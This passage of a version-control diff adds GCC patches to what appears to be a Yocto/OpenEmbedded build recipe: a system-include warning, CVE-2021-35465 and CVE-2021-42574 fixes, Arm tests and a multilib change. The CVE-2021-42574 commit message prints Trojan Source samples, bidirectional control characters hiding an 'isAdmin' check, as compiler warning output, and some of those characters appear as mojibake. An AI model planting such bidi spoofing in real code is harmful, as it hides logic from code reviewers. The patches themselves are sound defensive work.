++ {
++ bidi::kind kind = get_bidi_utf8 (cur - 1);
++ maybe_warn_bidi_on_char (pfile, cur - 1, kind, /*ucn_p=*/false);
++ }
+ }
+
+ if (saw_NUL && !pfile->state.skipping)
diff --git a/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch b/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
new file mode 100644
index 0000000000..18a9fb8701
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0002-gcc-poison-system-directories.patch
@@ -0,0 +1,226 @@
+From 118c6f054711d437167ff125a88c9236bfc8099c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 8 Mar 2021 16:04:20 -0800
+Subject: [PATCH] gcc: poison-system-directories
+
+Add /sw/include and /opt/include based on the original
+zecke-no-host-includes.patch patch. The original patch checked for
+/usr/include, /sw/include and /opt/include and then triggered a failure and
+aborted.
+
+Instead, we add the two missing items to the current scan. If the user
+wants this to be a failure, they can add "-Werror=poison-system-directories".
+
+Upstream-Status: Pending
+Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/common.opt | 4 ++++
+ gcc/config.in | 10 ++++++++++
+ gcc/configure | 19 +++++++++++++++++++
+ gcc/configure.ac | 16 ++++++++++++++++
+ gcc/doc/invoke.texi | 9 +++++++++
+ gcc/gcc.c | 9 +++++++--
+ gcc/incpath.c | 21 +++++++++++++++++++++
+ 7 files changed, 86 insertions(+), 2 deletions(-)
+
+diff --git a/gcc/common.opt b/gcc/common.opt
+index c75dd36843e..49acbd6ed44 100644
+--- a/gcc/common.opt
++++ b/gcc/common.opt
+@@ -683,6 +683,10 @@ Wreturn-local-addr
+ Common Var(warn_return_local_addr) Init(1) Warning
+ Warn about returning a pointer/reference to a local or temporary variable.
+
++Wpoison-system-directories
++Common Var(flag_poison_system_directories) Init(1) Warning
++Warn for -I and -L options using system directories if cross compiling
++
+ Wshadow
+ Common Var(warn_shadow) Warning
+ Warn when one variable shadows another. Same as -Wshadow=global.
+diff --git a/gcc/config.in b/gcc/config.in
+index 10a13cde586..8848284da41 100644
+--- a/gcc/config.in
++++ b/gcc/config.in
+@@ -218,6 +218,16 @@
+ #endif
+
+
++/* Define to warn for use of native system header directories */
++#ifndef USED_FOR_TARGET
++#undef ENABLE_POISON_SYSTEM_DIRECTORIES
++#endif
++/* Define to warn for use of native system header directories */
++#ifndef USED_FOR_TARGET
++#undef POISON_BY_DEFAULT
++#endif
++
++
+ /* Define if you want all operations on RTL (the basic data structure of the
+ optimizer and back end) to be checked for dynamic type safety at runtime.
+ This is quite expensive. */
+diff --git a/gcc/configure b/gcc/configure
+index 9bb436ce7bd..3f0734bff11 100755
+--- a/gcc/configure
++++ b/gcc/configure
+@@ -1020,6 +1020,7 @@ enable_maintainer_mode
+ enable_link_mutex
+ enable_link_serialization
+ enable_version_specific_runtime_libs
++enable_poison_system_directories
+ enable_plugin
+ enable_host_shared
+ enable_libquadmath_support
+@@ -1782,6 +1783,8 @@ Optional Features:
+ --enable-version-specific-runtime-libs
+ specify that runtime libraries should be installed
+ in a compiler-specific directory
++ --enable-poison-system-directories
++ warn for use of native system header directories
+ --enable-plugin enable plugin support
+ --enable-host-shared build host code as shared libraries
+ --disable-libquadmath-support
+@@ -31325,6 +31328,22 @@ if test "${enable_version_specific_runtime_libs+set}" = set; then :
+ fi
+
+
++# Check whether --enable-poison-system-directories was given.
++if test "${enable_poison_system_directories+set}" = set; then :
++ enableval=$enable_poison_system_directories;
++else
++ enable_poison_system_directories=no
++fi
++
++if test "x${enable_poison_system_directories}" != "xno"; then
++
++$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
++if test "$enable_poison_system_directories" = "error"; then
++$as_echo "#define POISON_BY_DEFAULT 1" >>confdefs.h
++fi
++
++fi
++
+ # Substitute configuration variables
+
+
+diff --git a/gcc/configure.ac b/gcc/configure.ac
+index caa611933df..54e21764b3e 100644
+--- a/gcc/configure.ac
++++ b/gcc/configure.ac
+@@ -7123,6 +7123,22 @@ AC_ARG_ENABLE(version-specific-runtime-libs,
+ [specify that runtime libraries should be
+ installed in a compiler-specific directory])])
+
++AC_ARG_ENABLE([poison-system-directories],
++ AS_HELP_STRING([--enable-poison-system-directories],
++ [warn for use of native system header directories (no/yes/error)]),,
++ [enable_poison_system_directories=no])
++AC_MSG_NOTICE([poisoned directories $enable_poison_system_directories])
++if test "x${enable_poison_system_directories}" != "xno"; then
++ AC_MSG_NOTICE([poisoned directories enabled])
++ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
++ [1],
++ [Define to warn for use of native system header directories])
++ if test $enable_poison_system_directories = "error"; then
++ AC_MSG_NOTICE([poisoned directories are fatal])
++ AC_DEFINE([POISON_BY_DEFAULT], [1], [Define to make poison warnings errors])
++ fi
++fi
++
+ # Substitute configuration variables
+ AC_SUBST(subdirs)
+ AC_SUBST(srcdir)
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+index 7a368959e5e..6659a903bf0 100644
+--- a/gcc/doc/invoke.texi
++++ b/gcc/doc/invoke.texi
+@@ -369,6 +369,7 @@ Objective-C and Objective-C++ Dialects}.
+ -Wpacked -Wno-packed-bitfield-compat -Wpacked-not-aligned -Wpadded @gol
+ -Wparentheses -Wno-pedantic-ms-format @gol
+ -Wpointer-arith -Wno-pointer-compare -Wno-pointer-to-int-cast @gol
++-Wno-poison-system-directories @gol
+ -Wno-pragmas -Wno-prio-ctor-dtor -Wredundant-decls @gol
+ -Wrestrict -Wno-return-local-addr -Wreturn-type @gol
+ -Wno-scalar-storage-order -Wsequence-point @gol
+@@ -7735,6 +7736,14 @@ made up of data only and thus requires no special treatment. But, for
+ most targets, it is made up of code and thus requires the stack to be
+ made executable in order for the program to work properly.
+
++@item -Wno-poison-system-directories
++@opindex Wno-poison-system-directories
++Do not warn for @option{-I} or @option{-L} options using system
++directories such as @file{/usr/include} when cross compiling. This
++option is intended for use in chroot environments when such
++directories contain the correct headers and libraries for the target
++system rather than the host.
++
+ @item -Wfloat-equal
+ @opindex Wfloat-equal
+ @opindex Wno-float-equal
+diff --git a/gcc/gcc.c b/gcc/gcc.c
+index 7837553958b..19c75b6e20d 100644
+--- a/gcc/gcc.c
++++ b/gcc/gcc.c
+@@ -1152,6 +1152,8 @@ proper position among the other output files. */
+ "%{fuse-ld=*:-fuse-ld=%*} " LINK_COMPRESS_DEBUG_SPEC \
+ "%X %{o*} %{e*} %{N} %{n} %{r}\
+ %{s} %{t} %{u*} %{z} %{Z} %{!nostdlib:%{!r:%{!nostartfiles:%S}}} \
++ %{Wno-poison-system-directories:--no-poison-system-directories} \
++ %{Werror=poison-system-directories:--error-poison-system-directories} \
+ %{static|no-pie|static-pie:} %@{L*} %(mfwrap) %(link_libgcc) " \
+ VTABLE_VERIFICATION_SPEC " " SANITIZER_EARLY_SPEC " %o "" \
+ %{fopenacc|fopenmp|%:gt(%{ftree-parallelize-loops=*:%*} 1):\
+@@ -1247,8 +1249,11 @@ static const char *cpp_unique_options =
+ static const char *cpp_options =
+ "%(cpp_unique_options) %1 %{m*} %{std*&ansi&trigraphs} %{W*&pedantic*} %{w}\
+ %{f*} %{g*:%{%:debug-level-gt(0):%{g*}\
+- %{!fno-working-directory:-fworking-directory}}} %{O*}\
+- %{undef} %{save-temps*:-fpch-preprocess}";
++ %{!fno-working-directory:-fworking-directory}}} %{O*}"
++#ifdef POISON_BY_DEFAULT
++ " -Werror=poison-system-directories"
++#endif
++ " %{undef} %{save-temps*:-fpch-preprocess}";
+
+ /* Pass -d* flags, possibly modifying -dumpdir, -dumpbase et al.
+
+diff --git a/gcc/incpath.c b/gcc/incpath.c
+index 446d280321d..fbfc0ce03b8 100644
+--- a/gcc/incpath.c
++++ b/gcc/incpath.c
+@@ -26,6 +26,7 @@
+ #include "intl.h"
+ #include "incpath.h"
+ #include "cppdefault.h"
++#include "diagnostic-core.h"
+
+ /* Microsoft Windows does not natively support inodes.
+ VMS has non-numeric inodes. */
+@@ -395,6 +396,26 @@ merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
+ }
+ fprintf (stderr, _("End of search list.\n"));
+ }
++
++#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
++ if (flag_poison_system_directories)
++ {
++ struct cpp_dir *p;
++
++ for (p = heads[INC_QUOTE]; p; p = p->next)
++ {
++ if ((!strncmp (p->name, "/usr/include", 12))
++ || (!strncmp (p->name, "/usr/local/include", 18))
++ || (!strncmp (p->name, "/usr/X11R6/include", 18))
++ || (!strncmp (p->name, "/sw/include", 11))
++ || (!strncmp (p->name, "/opt/include", 12)))
++ warning (OPT_Wpoison_system_directories,
++ "include location \"%s\" is unsafe for "
++ "cross-compilation",
++ p->name);
++ }
++ }
++#endif
+ }
+
+ /* Use given -I paths for #include "..." but not #include <...>, and
diff --git a/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch
new file mode 100644
index 0000000000..c7a7c76bf8
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-35465.patch
@@ -0,0 +1,103 @@
+From 30461cf8dba3d3adb15a125e4da48800eb2b9b8f Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Fri, 18 Jun 2021 17:18:37 +0100
+Subject: [PATCH] arm: fix vlldm erratum for Armv8.1-m [PR102035]
+
+For Armv8.1-m we generate code that emits VLLDM directly and do not
+rely on support code in the library, so emit the mitigation directly
+as well, when required. In this case, we can use the compiler options
+to determine when to apply the fix and when it is safe to omit it.
+
+gcc:
+ PR target/102035
+ * config/arm/arm.md (attribute arch): Add fix_vlldm.
+ (arch_enabled): Use it.
+ * config/arm/vfp.md (lazy_store_multiple_insn): Add alternative to
+ use when erratum mitigation is needed.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=30461cf8dba3d3adb15a125e4da48800eb2b9b8f]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/config/arm/arm.md | 11 +++++++++--
+ gcc/config/arm/vfp.md | 10 +++++++---
+ 2 files changed, 16 insertions(+), 5 deletions(-)
+
+diff -upr a/gcc/config/arm/arm.md b/gcc/config/arm/arm.md
+--- a/gcc/config/arm/arm.md 2020-07-22 23:35:17.344384552 -0700
++++ b/gcc/config/arm/arm.md 2021-11-11 20:33:58.431543947 -0800
+@@ -132,9 +132,12 @@
+ ; TARGET_32BIT, "t1" or "t2" to specify a specific Thumb mode. "v6"
+ ; for ARM or Thumb-2 with arm_arch6, and nov6 for ARM without
+ ; arm_arch6. "v6t2" for Thumb-2 with arm_arch6 and "v8mb" for ARMv8-M
+-; Baseline. This attribute is used to compute attribute "enabled",
++; Baseline. "fix_vlldm" is for fixing the v8-m/v8.1-m VLLDM erratum.
++; This attribute is used to compute attribute "enabled",
+ ; use type "any" to enable an alternative in all cases.
+-(define_attr "arch" "any,a,t,32,t1,t2,v6,nov6,v6t2,v8mb,iwmmxt,iwmmxt2,armv6_or_vfpv3,neon,mve"
++(define_attr "arch" "any, a, t, 32, t1, t2, v6,nov6, v6t2, \
++ v8mb, fix_vlldm, iwmmxt, iwmmxt2, armv6_or_vfpv3, \
++ neon, mve"
+ (const_string "any"))
+
+ (define_attr "arch_enabled" "no,yes"
+@@ -177,6 +180,10 @@
+ (match_test "TARGET_THUMB1 && arm_arch8"))
+ (const_string "yes")
+
++ (and (eq_attr "arch" "fix_vlldm")
++ (match_test "fix_vlldm"))
++ (const_string "yes")
++
+ (and (eq_attr "arch" "iwmmxt2")
+ (match_test "TARGET_REALLY_IWMMXT2"))
+ (const_string "yes")
+diff -upr a/gcc/config/arm/vfp.md b/gcc/config/arm/vfp.md
+--- a/gcc/config/arm/vfp.md 2020-07-22 23:35:17.356384684 -0700
++++ b/gcc/config/arm/vfp.md 2021-11-11 20:33:58.431543947 -0800
+@@ -1703,12 +1703,15 @@
+ (set_attr "type" "mov_reg")]
+ )
+
++;; Both this and the next instruction are treated by GCC in the same
++;; way as a blockage pattern. That's perhaps stronger than it needs
++;; to be, but we do not want accesses to the VFP register bank to be
++;; moved across either instruction.
++
+ (define_insn "lazy_store_multiple_insn"
+- [(set (match_operand:SI 0 "s_register_operand" "+&rk")
+- (post_dec:SI (match_dup 0)))
+- (unspec_volatile [(const_int 0)
+- (mem:SI (post_dec:SI (match_dup 0)))]
+- VUNSPEC_VLSTM)]
++ [(unspec_volatile
++ [(mem:BLK (match_operand:SI 0 "s_register_operand" "rk"))]
++ VUNSPEC_VLSTM)]
+ "use_cmse && reload_completed"
+ "vlstm%?\\t%0"
+ [(set_attr "predicable" "yes")
+@@ -1716,14 +1719,16 @@
+ )
+
+ (define_insn "lazy_load_multiple_insn"
+- [(set (match_operand:SI 0 "s_register_operand" "+&rk")
+- (post_inc:SI (match_dup 0)))
+- (unspec_volatile:SI [(const_int 0)
+- (mem:SI (match_dup 0))]
+- VUNSPEC_VLLDM)]
++ [(unspec_volatile
++ [(mem:BLK (match_operand:SI 0 "s_register_operand" "rk,rk"))]
++ VUNSPEC_VLLDM)]
+ "use_cmse && reload_completed"
+- "vlldm%?\\t%0"
+- [(set_attr "predicable" "yes")
++ "@
++ vscclrm\\t{vpr}\;vlldm\\t%0
++ vlldm\\t%0"
++ [(set_attr "arch" "fix_vlldm,*")
++ (set_attr "predicable" "no")
++ (set_attr "length" "8,4")
+ (set_attr "type" "load_4")]
+ )
+
diff --git a/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch
new file mode 100644
index 0000000000..2995a6fc61
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0003-CVE-2021-42574.patch
@@ -0,0 +1,142 @@
+From 1a7f2c0774129750fdf73e9f1b78f0ce983c9ab3 Mon Sep 17 00:00:00 2001
+From: David Malcolm <dmalcolm@redhat.com>
+Date: Tue, 2 Nov 2021 09:54:32 -0400
+Subject: [PATCH] libcpp: escape non-ASCII source bytes in -Wbidi-chars=
+ [PR103026]
+MIME-Version: 1.0
+Content-Type: text/plain; charset=utf8
+Content-Transfer-Encoding: 8bit
+
+This flags rich_locations associated with -Wbidi-chars= so that
+non-ASCII bytes will be escaped when printing the source lines
+(using the diagnostics support I added in
+r12-4825-gbd5e882cf6e0def3dd1bc106075d59a303fe0d1e).
+
+In particular, this ensures that the printed source lines will
+be pure ASCII, and thus the visual ordering of the characters
+will be the same as the logical ordering.
+
+Before:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 6 | /*â® } â¦if (isAdmin)⩠⦠begin admins only */
+ | ^
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 9 | /* end admins only â® { â¦*/
+ | ^
+
+ Wbidi-chars-11.c:6:15: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 6 | int LRE_âª_PDF_\u202c;
+ | ^
+ Wbidi-chars-11.c:8:19: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 8 | int LRE_\u202a_PDF_â¬_;
+ | ^
+ Wbidi-chars-11.c:10:28: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 10 | const char *s1 = "LRE_âª_PDF_\u202c";
+ | ^
+ Wbidi-chars-11.c:12:33: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 12 | const char *s2 = "LRE_\u202a_PDF_â¬";
+ | ^
+
+After:
+
+ Wbidi-chars-1.c: In function âmainâ:
+ Wbidi-chars-1.c:6:43: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 6 | /*<U+202E> } <U+2066>if (isAdmin)<U+2069> <U+2066> begin admins only */
+ | ^
+ Wbidi-chars-1.c:9:28: warning: unpaired UTF-8 bidirectional control character detected [-Wbidi-chars=]
+ 9 | /* end admins only <U+202E> { <U+2066>*/
+ | ^
+
+ Wbidi-chars-11.c:6:15: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 6 | int LRE_<U+202A>_PDF_\u202c;
+ | ^
+ Wbidi-chars-11.c:8:19: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 8 | int LRE_\u202a_PDF_<U+202C>_;
+ | ^
+ Wbidi-chars-11.c:10:28: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 10 | const char *s1 = "LRE_<U+202A>_PDF_\u202c";
+ | ^
+ Wbidi-chars-11.c:12:33: warning: UTF-8 vs UCN mismatch when closing a context by "U+202C (POP DIRECTIONAL FORMATTING)" [-Wbidi-chars=]
+ 12 | const char *s2 = "LRE_\u202a_PDF_<U+202C>";
+ | ^
+
+libcpp/ChangeLog:
+ PR preprocessor/103026
+ * lex.c (maybe_warn_bidi_on_close): Use a rich_location
+ and call set_escape_on_output (true) on it.
+ (maybe_warn_bidi_on_char): Likewise.
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=1a7f2c0774129750fdf73e9f1b78f0ce983c9ab3]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ libcpp/lex.c | 29 +++++++++++++++++------------
+ 1 file changed, 17 insertions(+), 12 deletions(-)
+
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+index 8188e33b07d..2421d6c0f40 100644
+--- a/libcpp/lex.c
++++ b/libcpp/lex.c
+@@ -1427,9 +1427,11 @@ maybe_warn_bidi_on_close (cpp_reader *pfile, const uchar *p)
+ const location_t loc
+ = linemap_position_for_column (pfile->line_table,
+ CPP_BUF_COLUMN (pfile->buffer, p));
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "unpaired UTF-8 bidirectional control character "
+- "detected");
++ rich_location rich_loc (pfile->line_table, loc);
++ rich_loc.set_escape_on_output (true);
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "unpaired UTF-8 bidirectional control character "
++ "detected");
+ }
+ /* We're done with this context. */
+ bidi::on_close ();
+@@ -1454,6 +1456,9 @@ maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
+ const location_t loc
+ = linemap_position_for_column (pfile->line_table,
+ CPP_BUF_COLUMN (pfile->buffer, p));
++ rich_location rich_loc (pfile->line_table, loc);
++ rich_loc.set_escape_on_output (true);
++
+ /* It seems excessive to warn about a PDI/PDF that is closing
+ an opened context because we've already warned about the
+ opening character. Except warn when we have a UCN x UTF-8
+@@ -1462,20 +1467,20 @@ maybe_warn_bidi_on_char (cpp_reader *pfile, const uchar *p, bidi::kind kind,
+ {
+ if (warn_bidi == bidirectional_unpaired
+ && bidi::current_ctx_ucn_p () != ucn_p)
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "UTF-8 vs UCN mismatch when closing "
+- "a context by \"%s\"", bidi::to_str (kind));
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "UTF-8 vs UCN mismatch when closing "
++ "a context by \"%s\"", bidi::to_str (kind));
+ }
+ else if (warn_bidi == bidirectional_any)
+ {
+ if (kind == bidi::kind::PDF || kind == bidi::kind::PDI)
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "\"%s\" is closing an unopened context",
+- bidi::to_str (kind));
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "\"%s\" is closing an unopened context",
++ bidi::to_str (kind));
+ else
+- cpp_warning_with_line (pfile, CPP_W_BIDIRECTIONAL, loc, 0,
+- "found problematic Unicode character \"%s\"",
+- bidi::to_str (kind));
++ cpp_warning_at (pfile, CPP_W_BIDIRECTIONAL, &rich_loc,
++ "found problematic Unicode character \"%s\"",
++ bidi::to_str (kind));
+ }
+ }
+ /* We're done with this context. */
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0004-64-bit-multilib-hack.patch b/meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch
index a79c40c1aa..5f14dd2a58 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0004-64-bit-multilib-hack.patch
+++ b/meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch
@@ -1,7 +1,7 @@
-From c2081c51db589471ea713870c72f13999abda815 Mon Sep 17 00:00:00 2001
+From 2fa5c93641b75a662839c1b6eee172b6c481c70e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:10:06 +0400
-Subject: [PATCH 04/36] 64-bit multilib hack.
+Subject: [PATCH] 64-bit multilib hack.
GCC has internal multilib handling code but it assumes a very specific rigid directory
layout. The build system implementation of multilib layout is very generic and allows
@@ -19,25 +19,26 @@ and be able to patch these entries with a complete set of correct paths but this
don't have such code at this point. This is something the target gcc recipe should do
and override these platform defaults in its build config.
-Do same for riscv64 and aarch64
+Do same for riscv64, aarch64 & arc
RP 15/8/11
-Upstream-Status: Inappropriate[OE-Specific]
+Upstream-Status: Inappropriate [OE-Specific]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Elvis Dowson <elvis.dowson@gmail.com>
Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
---
gcc/config/aarch64/t-aarch64-linux | 8 ++++----
+ gcc/config/arc/t-multilib-linux | 4 ++--
gcc/config/i386/t-linux64 | 6 ++----
gcc/config/mips/t-linux64 | 10 +++-------
gcc/config/riscv/t-linux | 6 ++++--
gcc/config/rs6000/t-linux64 | 5 ++---
- 5 files changed, 15 insertions(+), 20 deletions(-)
+ 6 files changed, 17 insertions(+), 22 deletions(-)
diff --git a/gcc/config/aarch64/t-aarch64-linux b/gcc/config/aarch64/t-aarch64-linux
-index 5ad670ba2ce..e26019e7157 100644
+index 241b0ef20b6..a7dadb2d64f 100644
--- a/gcc/config/aarch64/t-aarch64-linux
+++ b/gcc/config/aarch64/t-aarch64-linux
@@ -21,8 +21,8 @@
@@ -53,8 +54,24 @@ index 5ad670ba2ce..e26019e7157 100644
-MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
+#MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
+diff --git a/gcc/config/arc/t-multilib-linux b/gcc/config/arc/t-multilib-linux
+index fc3fff640a2..d58e28f6df8 100644
+--- a/gcc/config/arc/t-multilib-linux
++++ b/gcc/config/arc/t-multilib-linux
+@@ -16,9 +16,9 @@
+ # along with GCC; see the file COPYING3. If not see
+ # <http://www.gnu.org/licenses/>.
+
+-MULTILIB_OPTIONS = mcpu=hs/mcpu=archs/mcpu=hs38/mcpu=hs38_linux/mcpu=arc700/mcpu=nps400
++#MULTILIB_OPTIONS = mcpu=hs/mcpu=archs/mcpu=hs38/mcpu=hs38_linux/mcpu=arc700/mcpu=nps400
+
+-MULTILIB_DIRNAMES = hs archs hs38 hs38_linux arc700 nps400
++#MULTILIB_DIRNAMES = hs archs hs38 hs38_linux arc700 nps400
+
+ # Aliases:
+ MULTILIB_MATCHES += mcpu?arc700=mA7
diff --git a/gcc/config/i386/t-linux64 b/gcc/config/i386/t-linux64
-index c686ab2f0d2..c82b60dadcd 100644
+index d288b093522..7b5980a9d21 100644
--- a/gcc/config/i386/t-linux64
+++ b/gcc/config/i386/t-linux64
@@ -32,7 +32,5 @@
@@ -68,7 +85,7 @@ index c686ab2f0d2..c82b60dadcd 100644
+MULTILIB_DIRNAMES = . .
+MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
diff --git a/gcc/config/mips/t-linux64 b/gcc/config/mips/t-linux64
-index 3a2ff700d7d..13ef19576b5 100644
+index 130e1f04707..3b7eb6b2a2f 100644
--- a/gcc/config/mips/t-linux64
+++ b/gcc/config/mips/t-linux64
@@ -17,10 +17,6 @@
@@ -98,7 +115,7 @@ index 216d2776a18..e4d817621fc 100644
+#MULTILIB_OSDIRNAMES := $(patsubst lib%,../lib%,$(MULTILIB_DIRNAMES))
+MULTILIB_OSDIRNAMES := ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
diff --git a/gcc/config/rs6000/t-linux64 b/gcc/config/rs6000/t-linux64
-index f3c6e2be1d9..bd0393155fa 100644
+index e11a118cb5f..4eaffb416fe 100644
--- a/gcc/config/rs6000/t-linux64
+++ b/gcc/config/rs6000/t-linux64
@@ -26,10 +26,9 @@
@@ -114,6 +131,3 @@ index f3c6e2be1d9..bd0393155fa 100644
rs6000-linux.o: $(srcdir)/config/rs6000/rs6000-linux.c
$(COMPILE) $<
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch
new file mode 100644
index 0000000000..9dd6a313c2
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch
@@ -0,0 +1,304 @@
+From 809330ab8450261e05919b472783bf15e4b000f7 Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Tue, 6 Jul 2021 15:10:18 +0100
+Subject: [PATCH] arm: Add tests for VLLDM mitigation [PR102035]
+
+New tests for the erratum mitigation.
+
+gcc/testsuite:
+ PR target/102035
+ * gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c: New test.
+ * gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c: Likewise.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=809330ab8450261e05919b472783bf15e4b000f7]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ .../arm/cmse/mainline/8_1m/soft/cmse-13a.c | 31 +++++++++++++++++++
+ .../arm/cmse/mainline/8_1m/soft/cmse-7a.c | 28 +++++++++++++++++
+ .../arm/cmse/mainline/8_1m/soft/cmse-8a.c | 30 ++++++++++++++++++
+ .../cmse/mainline/8_1m/softfp-sp/cmse-7a.c | 27 ++++++++++++++++
+ .../cmse/mainline/8_1m/softfp-sp/cmse-8a.c | 29 +++++++++++++++++
+ .../arm/cmse/mainline/8_1m/softfp/cmse-13a.c | 30 ++++++++++++++++++
+ .../arm/cmse/mainline/8_1m/softfp/cmse-7a.c | 27 ++++++++++++++++
+ .../arm/cmse/mainline/8_1m/softfp/cmse-8a.c | 29 +++++++++++++++++
+ 8 files changed, 231 insertions(+)
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c
+
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,31 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=soft -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=soft" } } */
++
++#include "../../../cmse-13.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
